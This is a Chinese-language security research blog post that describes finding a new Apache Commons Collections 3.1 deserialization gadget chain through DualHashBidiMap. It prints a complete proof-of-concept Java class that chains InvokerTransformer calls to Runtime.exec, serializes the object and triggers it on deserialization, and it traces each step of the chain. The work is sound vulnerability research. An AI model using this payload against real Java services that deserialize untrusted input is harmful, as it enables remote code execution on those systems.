【web安全】记一次 Commons Collections 新调用链的挖掘
前言
最近回顧了下之前的關于Commons Collections這塊的筆記,從CC1到CC10,從調用鏈來看,其實都是很相似的。為了鞏固下復習的效果,嘗試挖掘一條新的調用鏈,遂出現了本文,大佬輕噴。
建議讀者對Commons Collections鏈有一定了解后再閱讀此文。
基礎準備
這里直接用ysoserial的源碼就可以,jdk的版本我這里用的是1.8u131。我們應該知道,在這個jdk版本下,CC1和CC3中利用的AnnotationInvocationHandler是經過修復的,在CC1和CC3的調用鏈中,都是利用AnnotationInvocationHandler.readObject()來作為入口。
所以,首先我們全局搜索“readObject(”:
經過篩選,找到org.apache.commons.collections.bidimap.DualHashBidiMap這個類,其依賴于commons-collections-3.1.jar
【關注私信回復“資料課”可獲取網絡安全 全套學習資料】
我們來看DualHashBidiMap的readObject():
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); maps[0] = new HashMap(); maps[1] = new HashMap(); Map map = (Map) in.readObject(); putAll(map); }跟進DualHashBidiMap的父類AbstractDualBidiMap#putAll方法:
public void putAll(Map map) { for (Iterator it = map.entrySet().iterator(); it.hasNext();) { Map.Entry entry = (Map.Entry) it.next(); put(entry.getKey(), entry.getValue()); } }跟進AbstractDualBidiMap.put():
public Object put(Object key, Object value) { if (maps[0].containsKey(key)) { maps[1].remove(maps[0].get(key)); } if (maps[1].containsKey(value)) { maps[0].remove(maps[1].get(value)); } final Object obj = maps[0].put(key, value); maps[1].put(value, key); return obj; }注意這里的
if (maps[0].containsKey(key)) { maps[1].remove(maps[0].get(key)); }1、由這個
maps[0].containsKey(key)
依據之前的CC鏈,可聯想到HashMap#containsKey(key),其中調用了hash(key)->key.hashCode(),進而聯想到TiedMapEntry#hashCode(),我們可構造將key設為TiedMapEntry對象即可。
2、由這個
maps[0].get(key)
依據之前的CC鏈,可聯想到LazyMap.get(key),但是這里實際是無法構造利用的,后邊會說到,讀者可以先思考一下是為什么。
找到了readObject()入口,接下來我們有必要來了解一下DualHashBidiMap這個類的作用。
DualHashBidiMap
我們可以直接從源碼來看:
依據此類的英文注釋及其字段和方法的定義,可知commons-collections包中提供此集合類,作用為雙向map,即可以通過key找到value,也可以通過value找到key。
其抽象類AbstractDualBidiMap為其提供了一些字段定義及一些常用方法。
大概思路有了,類的定義也了解了,我們可以開始構造POC
構造POC
我這里先貼上最終POC,然后會進行講解。
package ysoserial;import org.apache.commons.collections.BidiMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;public class PocDualHashBidiMap { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}; // 使用ChainedTransformer組合利用鏈 Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");// Map<String, Object>,這個Map對象的鍵是String類型,值是Object類型 Map<String, Object> map = new HashMap<String, Object>(); map.put("test", tiedMapEntry); map.put("test1", "test1");// 反射創建對象 Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap"); Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class); m_ctor.setAccessible(true); Object payload_instance = m_ctor.newInstance(map, null, null);FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(payload_instance); outputStream.close();FileInputStream fis = new FileInputStream("payload_dualHashBidMap1.ser"); ObjectInputStream bit = new ObjectInputStream(fis); bit.readObject(); } }第一部分(CC1)
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}; // 使用ChainedTransformer組合利用鏈 Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);這一部分是利用的CC1中的一部分POC,這里大概講一下思路,不深入講解了。
由于LazyMap對象是無法直接通過構造方法來構造的,需要通過其decorate方法來綁定一個轉換器,這里綁定了ChainedTransformer對象。然后就可以通過調用LazyMap.get()進而調用到ChainedTransformer.transform(),又可進而遍歷調用到ChainedTransformer對象中的4個對象(1個ConstantTransformer3個InvokerTransformer)的transform(),第一次遍歷調用transform()的結果作為入參傳入第二次遍歷調用的transform(),以此類推。ConstantTransformer.transform()會直接返回傳入的參數值,InvokerTransformer.transform()會反射調用方法。
第二部分(CC6)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");依據我們前邊聯想到的思路,這里為了利用TiedMapEntry#hashCode(),此方法是CC6和CC7其中的一環,這里就不分析了,后邊調試的時候會說。
第三部分(DualHashBidiMap3入參protected構造方法)
Map<String, Object> map = new HashMap<String, Object>(); map.put("test", tiedMapEntry); map.put("test1", "test1");// 反射創建對象 Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap"); Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class); m_ctor.setAccessible(true); Object payload_instance = m_ctor.newInstance(map, null, null);其實在這里,我們構造的惡意TiedMapEntry不管是放在鍵位還是值位,都是可以的,后邊會說到。
我們在構造DualHashBidiMap對象時,選的是3入參的構造方法,這里看下:
protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) { super(normalMap, reverseMap, inverseBidiMap); }由于此構造方法為protected的,所以我們需要利用反射來構造
super對應DualHashBidiMap的父類AbstractDualBidiMap的構造方法:
為了便于理解,配合調試來講解:
當“DualHashBidiMap的構造方法中、調用super來調用父類AbstractDualBidiMap的構造方法”時,調試進入AbstractDualBidiMap類中,this表示的仍是DualHashBidiMap,也就是說,AbstractDualBidiMap構造的字段都是屬于DualHashBidiMap對象的:
斷點來到父類AbstractDualBidiMap的構造方法時,會先依據AbstractDualBidiMap類中,對于一些字段的初始化定義,都給到DualHashBidiMap對象
而這個
maps[0] = normalMap;
對應POC中:
Object payload_instance = m_ctor.newInstance(map, null, null);
所以,賦值給maps[0]的就是normalMap(我們構造的HashMap對象)
也就是說,此時的DualHashBidiMap對象的maps[0]屬性(我們構造的HashMap對象)的其中一個HashMap$Node對象,對應POC構造的:
Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);
DualHashBidiMap對象構造好之后,序列化時,會將這些字段屬性一層一層寫入序列化流:
調試
構造好POC后,打上斷點,調試分析一下:
反序列化時,來看DualHashBidiMap的自實現的 readObject() :
可以看到,maps[0]和maps[1]屬性都被賦值為空的HashMap對象了,這不是與我們上邊構造的沖突了嗎?
調試到此處看下:
我們上邊構造的DualHashBidiMap對象的maps[0]屬性(我們構造的HashMap對象)的其中一個HashMap$Node對象的值就是惡意TiedMapEntry對象。
調試發現,DualHashBidiMap的自實現的 readObject() 中的
Map map = (Map) in.readObject();
實際就是把我們POC中構造的HashMap對象:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, “1”);
Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);
給取出來了,給到Map對象map,然后調用 putAll() 時,作為入參傳入此Map對象:
可以這樣理解,readObject方法就是反序列化讀取出來當前類中的對象,具體是哪個字段,哪一層的,其實是不固定的:
執行完
Map map = (Map) in.readObject();
這句后,反序列化之后的DualHashBidiMap對象的maps[0]和maps[1]屬性還是空的HashMap對象,沒有改變:
跟進putAll方法:
迭代讀取HashMap$Node對象節點。
第一個就是我們構造的惡意HashMap$Node對象:
跟進put方法:
maps[0]和maps[1]都為剛才readObject方法中賦值的空的HashMap對象,這也就是前邊說的,為什么不可利用LazyMap.get()
我們可以通過這個maps[1],來到HashMap#containsKey方法:
此時的key為構造的惡意TiedMapEntry對象,繼續跟進hash方法:
跟進hashCode方法:
繼續跟進getValue方法:
這里開始就和CC1的調用鏈重疊了,就不繼續跟進了。
調用鏈
DualHashBidiMap.readObject() -> AbstractDualBidiMap.putAll() -> AbstractDualBidiMap.put() -> HashMap.containsKey() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform()
結語
其實就是一些之前CC鏈的拼接而已。
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的【web安全】记一次 Commons Collections 新调用链的挖掘的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP-Wakeup魔术漏洞骚操作
- 下一篇: 某office前台任意文件上传漏洞分析